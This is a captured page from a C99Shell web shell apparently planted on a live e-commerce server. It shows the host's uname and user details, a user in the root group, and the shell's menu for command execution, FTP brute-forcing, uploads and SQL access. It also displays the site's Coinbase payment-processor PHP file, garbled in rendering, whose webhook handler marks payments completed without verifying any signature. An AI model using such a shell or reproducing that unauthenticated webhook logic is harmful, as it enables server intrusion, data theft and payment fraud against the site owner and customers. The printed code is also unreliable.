!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Coinbase/Processor/   drwxr-xr-x
Free 25.39 GB of 117.98 GB (21.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CoinbaseProcessor.php (3.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


namespace Modules\Coinbase\Processor;

use 
Modules\Gateway\Contracts\RequiresWebHookValidationInterface;
use 
Illuminate\Http\Request;
use 
Modules\Coinbase\Entities\Coinbase;
use 
Modules\Coinbase\Response\CoinbaseResponse;
use 
Modules\Gateway\Contracts\PaymentProcessorInterface;
use 
Modules\Gateway\Contracts\RequiresCallbackInterface;
use 
Modules\Gateway\Contracts\RequiresCancelInterface;
use 
Modules\Gateway\Facades\GatewayHelper;

class 
CoinbaseProcessor implements PaymentProcessorInterfaceRequiresCallbackInterfaceRequiresCancelInterface
{
    public function 
pay($request)
    {
        
$coinbase Coinbase::first()->data;
        
$purchaseData GatewayHelper::getPurchaseData(GatewayHelper::getPaymentCode());
        
$data = [
            
"local_price" => [
                
"amount" => $purchaseData->total,
                
"currency" => $purchaseData->currency_code
            
],
            
"pricing_type" => "fixed_price",
            
"name" => config('gateway.app_name'),
            
"redirect_url" => route(config('gateway.payment_callback'), withOldQueryIntegrity(['gateway' => 'coinbase'])),
            
"cancel_url" => route(config('gateway.payment_cancel'), withOldQueryIntegrity(['gateway' => 'coinbase']))
        ];
        
$helper = new CoinbaseHelper($coinbase->apiKey);
        
$coinResponse $helper->setRequestData($data)->charge();

        if (!isset(
$coinResponse->hosted_url)) {
            throw new 
\Exception(__('Please try again, Coinbase payment connection fail.'));
        }

        return 
redirect($coinResponse->hosted_url);
    }

    public function 
validateTransaction(Request $request)
    {
        
$response = new CoinbaseResponse([], []);
        
$response->setPaymentStatus('Pending');
        
$response->setUniqueCode(techDecrypt(request()->code));
        return 
$response
    }

    public function 
cancel($request)
    {
        throw new 
\Exception(__('Payment got cancelled.'));
    }

    public function 
validatePayment($request)
    {
        
$response  $request->getContent();
        
$response json_decode($responsetrue);
        
info('webhook:'[$response]);
        
paymentLog($request);
        
paymentLog($response);

        try {
            
$response  $request->getContent();
            
$response json_decode($responsetrue);
            
\Log::info("coinbase Commerce Webhook");
            
\Log::info($response);
            if (isset(
$response['event']['type']) && isset($response['event']['data']['id']) && $response['event']['type'] == "charge:confirmed") {
                
$payment PaymentLog::uniqueCode($request->custom)->first();
                if (!
$payment) {
                    
paymentLog($request);
                    
paymentLog('------ Payment data with the requested coinbase unique code ("field: custom") -------');
                    return 
false;
                }
                
$payment->response_raw json_encode($request->getContent());
                
$payment->status 'completed';
                
$payment->store();
                return 
true;
            }
        } catch (
Exception $e) {
            
\Log::info($e->getMessage());
        }
        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--